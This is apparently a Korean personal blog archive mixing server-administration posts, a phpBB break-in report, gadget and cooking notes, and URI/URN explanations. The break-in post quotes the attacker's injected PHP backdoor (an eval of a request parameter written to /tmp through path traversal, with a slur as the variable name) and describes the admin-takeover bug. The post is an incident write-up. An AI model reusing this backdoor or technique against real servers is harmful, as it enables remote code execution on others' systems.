fastcgi에서 php를 chroot 안에서 구축하기

오늘부터 OpenLook은 새로운 서버에서 돌아가게 되었습니다. 옵테론 242 듀얼이라 무지 빨라졌지요~ (사실 별로 돌아가는 게 없어서 그다지 체감 속도는;;) 이번에 옮기는 김에, 기존에 쓰던 아파치에서 lighttpd로 바꿨습니다. 요새 lighttpd가 워낙 인기가 있어서, 한번 도전을 해 봤는데, 환경 설정이나 속도나 소모되는 자원이나 여러모로 아주 마음에 듭니다. 🙂

OpenLook서버에서 돌아가고 있는 웹 사이트 중에 동아리 홈페이지와 파이썬마을이 php를 쓰고 있기 때문에, php를 설정하는 방법을 고심하다가, 심심하면 터지는 php 애플리케이션의 보안 버그에도 좀 대비를 하고자 각각의 php 사이트를 별도의 fastcgi 프로세스로 분리를 해서 setuid/chroot 해버리기로 마음을 먹었습니다. 그래서, lighttpd에서 기본으로 제공해 주는 spawn-fcgi 유틸리티를 이용해서 일단은 만들어 봤는데, spawn-fcgi는 소켓을 만든 다음에, setuid, setgid, chroot를 한 다음에 php를 띄우는 순서로 하다보니, php바이너리는 물론이고 관련 라이브러리까지 모두 chroot 디렉토리 안에 넣어야 제대로 돌아가는 문제점이 있었습니다.

그래서, 아무래도 원하는대로 하려면, chroot를 하기 전에 php의 초기화를 모두 끝내고 나서 chroot를 해줘야하기 때문에, 알고보면 spawn-fcgi에서는 아무리 별짓을 해 봐야, 방법이 없고, 결국은 php 내부에서 해결을 해야 하는 문제로 판단이 됐습니다.

그래서 결국은 패치를 만들었습니다. 으흐.. php-cgi-sapi는 fastcgi와 cgi를 동시에 지원하느라 코드가 상당히 지저분하긴 했지만서도;; 하여간 패치하고 나니까, pear를 사용하지 않는 대부분의 php 프로그램들은 그럭저럭 잘 돌아가는 것이, 제로보드를 돌려도 안전할 것 같은 느낌이 드는군요 -ㅇ-;; 가급적이면 명령행 옵션으로 만들어서 메인스트림에 올렸으면 좋았을텐데, 명령행옵션이 이미 너무 많이 들어가있어서, 옵션들을 더 넣을라니 알파벳도 마땅찮고 –; 그래서 결국은 그냥 환경변수로 그냥 혼자 쓰는 패치로;; 으흐~ 포트 유저는 패치를 /usr/ports/lang/php5/files에 넣으시고 www/php5-cgi를 WITH_FASTCGI=yes옵션을 주고 깔으시면 됩니다~!

명랑하고 발랄하고 경쾌한 lighttpd 세상으로 오세요~ -O-

파이썬 마을이 뚫리다

오픈룩과 같은 서버에서 호스팅하고 있는 파이썬마을이 오늘 낮에 중국에서 들어온 것으로 보이는 공격자들에게 잠시 뚫렸습니다. 바로 다른 분들이 알려주신 덕분에, 2.0.11을 사용하고 있던 phpbb를 2.0.13으로 업데이트하고, 뚫린 곳을 복구했습니다.

phpBB는 널리 쓰이는 여타 php 웹 애플리케이션이나 마찬가지로 매번 보안 문제점이 발생될 때마다 엄청나게 치명적인 권한 누출이 발생되는데, 국내외를 불문하고 다들 이런 것은.. php의 문제인지.. 스크립트 언어 기반 웹 프로그래밍의 문제인지.. 참 답답하네요;; 한 두번도 아니고 흑흑 -.-

우선, 이번에 뚫린 부분은 일반 사용자로 가입한 뒤에 2월 27일에 발표된 회원 누구나 자동 로그인 기능을 사용해서 관리자 권한을 획득할 수 있는 버그로 웹상의 관리자 권한을 획득하는 곳까지 성공해서, 게시판 1개의 설명을 바꿔놨습니다. 안 바꿨으면 눈치를 못 챘을텐데 중국 이름을 알리고 싶었던 모양이죠 -.-a

그 다음으로 공격시도는 아직 발표되지 않은 보안 버그를 시도하려한 듯 한데, 컬러 테마로 상위디렉토리로 쭉쭉 올라가서 tmp에다가 theme_info.cfg라는 파일을 만드는 것까지는 성공했네요. (이건 따라해 보니까 2.0.13에서도 아직 수정이 안 된듯) 그래서, 이제 theme_info.cfg에 php코드를 넣을 수 있다는 점을 이용해서 GET 요청으로 들어온 변수를 바로 php에서 실행을 하도록 했는데, 다행히도 오픈룩의 웹서버가 jail안에 들어가 있어서, 별로 갖고 갈 정보도 없는데다, 특별히 의미있는 작업을 한 것 같지는 않습니다.

공격자측에서 /tmp/theme_info.cfg 로 기록에 성공한 파일의 앞부분

<?php

//
// phpBB 2.x auto-generated theme config file for aaa=12;eval(stripslashes($_REQUEST[nigga]));exit();// /../../../../../../../../../../../../../../../../../../../tmp
// Do not change anything in this file!
//

$aaa=12;eval(stripslashes($_REQUEST[nigga]));exit();// /../../../../../../../../../../..
/../../../../../../../../tmp[0][‘template_name’] = “aaa=12;eval(stripslashes($_REQUEST[n
igga]));exit();// /../../../../../../../../../../../../../../../../../../../tmp”;

으흐흐.. 어차피 뭐 곧 서버를 옮길테니까 DB만 무사하면 되는데.. 백업이 이틀 전 것까지 밖에 없어서 그새 뭔가 날아간 게 있을까봐 두렵군요 –;

php 웹 애플리케이션들의 보안버그 – 과연 끝은 어디인가 -_-;;

PyCon 뱃지



(사진은 좀 생뚱맞지만 뱃지만 찍으니 썰렁해서 군번줄을 같이;;;)

용이사님PyCon DC2005에서 기념선물로 사다주신 뱃지. 🙂 파이썬 로고 치고는 상당히 멋있습니다. 흐흐 공식 로고로 써도 되겠다~ -O- 오늘 이사님께 PyCon 얘기를 무지 많이 전해 들었는데, 정말 흥미로왔던 행사임이 틀림없는 듯합니다. 아아 내년엔 저도 꼭 가서 세계의 파이썬 친구들을 모두 만나고 하하하하 웃어야겠네요~ 🙂 아쉬우나마 사진 구경이나…

그리고, 곧 4월말 쯤에, 작년에 좀 하다가 말은 파이썬마을 작은 세미나를 이어서 하기로 했습니다. 이번에는 참여 저변을 조금 넓히기 위해, 참가자 6~8명 정도의 주제가 다른 트랙 2개로 해서 뒷풀이는 같이 하는 방법으로 하면 좋을 것 같아서, 아무래도 그렇게 할 것 같네요~ 🙂 주제로는 요새 모르면 남의 소스보기가 힘들어진 메타클래스 프로그래밍과 입문자용 트랙으로 py2exe, win32all를 해 보면 어떨까 생각하고 있습니다~ 자세한 것은 곧 파이썬마을에.. ^^;

인생은 제비뽑기

이제 출퇴근길에 버스를 타게 돼서, 노트북이 덜컹거리면 하드가 깨질까봐 무서워서 코딩도 못하고 꼼짝없이 가만 앉아서 책만 읽게 되었습니다. 그래서, 너무나도 심심하던 차에 그냥 예쁘기도 하고 iPod 셔플을 충동구매! @_@ 요새 신촌에도 보면 목에 셔플 걸고 다니는 사람이 제법 많은 것도 뭔가 샘나기도 하고해서~ 쿠쿠;

오래 전에 들고 다니던 무거운 iPod은 항상 가방 속에 넣고 다녀야했던 반면에, 셔플은 주머니 속에 넣어도 전혀 부담스럽지가 않은 가벼운 무게! 대만족이군용. 🙂

으음 그런데 하나 이상한 점은, 목걸이가 상당히 길어서 거의 배꼽까지 내려오는데, 게다가 이어폰 꽂는 곳이 아랫쪽이라, 사실상 이어폰 줄이 축 늘어져서 걸어다니는 배선반도 아닌 것이.. 뭐 이런 흉물스러운;; 아이리버처럼 목걸이 줄에 이어폰 선이 들어가 있는 것도 아니고, 표준 사용법이 약간 의심스럽긴 하군요.. 그래서 그런지 애플 홈페이지에도 좀처럼 목걸이에 걸고 음악을 듣는 사진도 없고, 있더라도 치렁치렁한 그 부분을 손으로 잡는 다던가.. 초점을 다른 데로 보내는 짓을 –;; 오묘하군요!

한 4일 정도 들고다녀 본 결과, 아무 곡이나 마구 나오는 것이 생각보다는 괜찮은 느낌입니다. 그런데, 곡 간에 무슨 연관 관계를 주는지, 연속해서 같은 가수의 곡이 나올 확률이 상당히 높은 느낌이 듭니다. 단순한 랜덤이 아닌가! ‘ㅇ’;;

OpenSSH jail 패치

서버를 세팅하던 도중에 jail안에 사용자를 몽땅 다 넣어버리려고, chroot 패치를 할까 하다가, 요새 jail에서 jail_attach도 지원하고 하길래, 간단하게 jail 패치로 바꿔 봤습니다.

요렇게 하면 chroot보다 리소스 제한을 좀 더 섬세하게 할 수 있고, top나 ps같은 것도 jail 안의 것만 볼 수 있도록 제한됩니다. 이히히 🙂

간단한 국어사전

#gentoo의 바둥옹이 웹 아닌 국어사전 없냐고 물어보셔서.. 원론적으로 말 그대로 해석해서 하나 만들어 봤습니다.

function kdic { w3m -dump ‘http://kr.dic.yahoo.com/search/kor/search.html?p=’$1 | awk ‘BEGIN {d=0;} /검색결과/ {d=1;} /브라우저에/ {d=0;} { if(d) print $0; };’ | less }

흐흐흐.. zsh사용자는 위에 대로 쓰시면 되고, bash 사용자는 {뒤와 } 앞에 다른 줄로 띄어 줘야합니다. 이렇게..

function kdic {
w3m -dump ‘http://kr.dic.yahoo.com/search/kor/search.html?p=’$1 | awk ‘BEGIN {d=0;} /검색결과/ {d=1;} /브라우저에/ {d=0;} { if(d) print $0; };’ | less
}

UTF-8 터미널 사용자는 $1을 echo $1|iconv -f utf-8 -t euc-kr로.. 결과는 이렇게 나옵니다.

흐흐.. 자꾸 한줄 쓰고 그러면 토끼군처럼 되는데.. =3=3

바나나튀김

전에 비즈바즈에서 먹었던 바나나튀김 맛을 잊지 못해서.. 오랜만의 평일 휴가이고 해서 점심에 만들어 먹어 봤습니다. 🙂

튀김을 씹으면 약간 단 맛이 스르륵 시럽처럼 배어나오는 것이, 맛있습니다. 고구마튀김보다 약간 달고 무릅니다. 아이 좋아~ *^^*

일단 어떻게 만드는지 못 보고 왔기 때문에, 여러가지를 시도해 봤는데,

  • 긴 바나나를 얼려서 일반 튀김옷 반죽으로
  • 긴 바나나를 얼려서 걸쭉한 튀김옷 반죽으로
  • 짧은 바나나를 걸쭉한 튀김옷 반죽으로
  • 짧은 바나나를 계란 넣은 튀김옷 반죽으로

이렇게 네가지를 시도해 봤는데, 마지막 것이 튀김옷이 익기도 제일 금방 익고, 색깔도 노르스름한 것이 가장 무난하군요. 처음엔 튀김옷에서 계란맛이 너무 나서, 튀김가루를 조금 더 넣었더니 그 다음부터는 괜찮;; 흐흐~ 대충 튀기는 시간은 계란 넣은 반죽은 20초정도면 적당한 것 같고, 계란 안 넣은 반죽은 40초는 튀겨야 되더군요. 그런데, 1분 넘어가면 막 바나나가 흐물흐물해지면서 튀김옷 밖으로 녹아서 삐져나오니 조심!


요만한 크기의 바나나(보통 몽키 바나나라고 부르는..)를 쓰면 덜 흐물흐물해져서 좋습니다~.

이제 다음 차례는 파인애플 튀김!

갑자기 생각난 파이썬 질문과 답변의 특징

파이썬 마을 질문과 답변을 보다가 갑자기 특별한 점이 하나 생각났습니다.. (몇년을 보다가 _-_)

다른 언어 질문과 답변에는 대체로, 소스를 중간에 잘라서 보여주고, 이런식으로 했는데, 안되네요.. 하고 답변도 중간에 인용을 할 때 이리 자르고 저리 자르고 해서 올라가게 되는데, 파이썬 질문과 답변 관련들은 메일링리스트/포럼, 입문자/숙련자 구분을 불문하고 질문하는 사람이나, 답변하는 사람이나 항상 인터랙티브 모드에서 명령 내린 결과와, 파이썬이 돌려준 결과값을 보여주고, 원래 자기가 원했던 것은 이런 것인데.. 하고 그 화면을 보여주는 것입니다! (지금까지는 당연하게 느껴졌던 것이 갑자기!) 오우오우. C 질문 답변을 보면 “제가요 프로그램을 짰는데 갑자기 죽어요” 이런 것 나오면 참 황당하기가 한이 없는데, 파이썬 질문 답변은 아무리 개념이 없는 사람이더라도 화면 긁어서 붙이면 해결되니까… 참 질문 답변에 최적화된 언어가 아닌가 합니다. 흐흐흐. -O-

사실 뭐 파이썬만의 특징은 아니고 인터랙티브 모드가 있으면 어디서나 다 그렇겠지만 –;; doctest 같은 곳까지 응용하고 있다는 점은 파이썬 문법을 아는 사람으로써 얼마나 뿌듯한지~~ ^___^

URI, URL, URN..

요즘은 회사에서 DDDS (Dynamic Delegation Discovery System) 관련한 작업을 하고 있습니다. DDDS는 URN (Uniform Resource Name)을 찾아서 URI나 서비스를 동적으로 연결해 주는 시스템입니다. URN을 URI로 바꾸고 그러다보니, URN, URI, URC, URL 등등 UR 씨리즈가 무척 많이 나오는데, 전에도 URI와 URL이 대체 차이가 무엇인가! 상당히 궁금했는데, 이번 기회에 문서를 읽어보게 되어서, 궁금하신 분이 많을까봐 한번 정리를.. 🙂

URL (Uniform Resource Locator)은 아시다시피 흔히들 많이 쓰는, http://xxx.yyy:1234/hehehe.html 같은 프로토콜로 시작해서 콜론찍고 그 다음에 주소를 쓰는 인터넷에서 접근할 수 있는 자원의 주소입니다.

한편, URN은 인터위키처럼 네임스페이스ID:컨텐트스펙 형식으로 이루어지는데, 예를 들어, 책 The D&I of FreeBSD O/S 같은 경우에 URN 주소로 urn:isbn:0201702452 이 되고, 최근 파이썬 보안 버그에 대한 VuXML 엔트리의 URN은 urn:uuid:6afa87d3-764b-11d9-b0e7-0000e249a0a2 이 됩니다. 이런 인터위키스러운 분야 외에도, 정규식 기반의 rewrite와 다단계 authority resolving, 우선순위 지정같은 것들을 지원해서, SIP과 연관된 분야에서 많이 사용되고 있는 듯 합니다.

그런데 URI는 대체 무엇인가! URL과 URN을 묶어서 그냥 URI .. ;;; 그 외에 URC (Uniform Resource Characteristics)도 URI에 속하는데, 이는 관련된 사진, 인용 목록, 리비전 기록 같은 것들을 제공하는 것이라고는 하는데, 실제로 쓰이는 예를 전혀 찾을 수가 없었습니다. 그런데, 굳이 URL도 알고보면 scheme이 여러가지가 있어서 새로 정의할 수 있는데 왜 굳이 URI밑에 URL을 두는가 한참을 고민을 헀는데, 그냥 단순히 URL은 그냥 옛날에 쓰이던 개념적인 것이고 현재로써는 그냥 비공식적인 용어라고 합니다.

그런데도, 실제로 URN, URI, URL, URC간의 서로 변환해주는 서비스를 정의하고 있는 THTTPURI간 변환 서비스 같은 곳에서는 URI, URL을 다른 용어로 따로 분리하고 있어서, 완전히 비공식적으로 치부하기에는 좀 무리가 있는 듯 합니다. 으흐흐~

지금 사용하고 있는 coreblog는 아직 모인모인 문법을 지원하지 않는 관계로 ReST냐 HTML이냐를 선택할 수 밖에 없는데, ReST에서는 그림을 못 쓰는 관계로 어쩔 수 없이, HTML코드로 로그를 쓰는데, 뭔가 참고를 할 때마다 링크 쓰기가 한이 없이 귀찮은게.. URN링크를 쓰면 자동으로 HTML링크로 바꿔주는 플러그인이라도 만들어서 붙여야겠다는 생각을 해 봅니다.. 으흐~

안철수연구소 생일빵

올해가 뭔가 운수가 무지 좋은 해인지, 올해 들어서 참 사소한 것도 좋은 일이 우루루 일어나고 있습니다.. 넉넉한 지원을 받고 중국에 다녀온 것도 그렇고~ 훈련소도 재미있었고~ (지나고나니 이런 소리가 –;) 지난 주에는 그냥 채널에서 다른 사람들이 URL을 불러 주길래 띄워 본 것이 우연히 저절로 리프레시 되더니만 안철수연구소 생일빵에 당첨되지를 않나.. 얼마 전에는 주크온에서 노래 몇곡을 별 생각 없이 열심히 들었더니만, 갑자기 모던쥬스 CD를 주는 이벤트에 당첨됐다고 네오위즈에서 메일을 보내오는 것이 아니겠습니까. -O-; 아이 그것 참~ 헤헤


안철수연구소 생일빵

그런데, 생일빵 상품권이 도착해서 봤는데.. 웬 4천원짜리 불고기버거 세트가.. 1520원짜리 등기로 왔군요 –;; 그것 참 흐;;;

이제 복학하고 나서 학점운만 따라주면 ;;; (사실은 관심은 다른 곳에.. 먼산~ =3)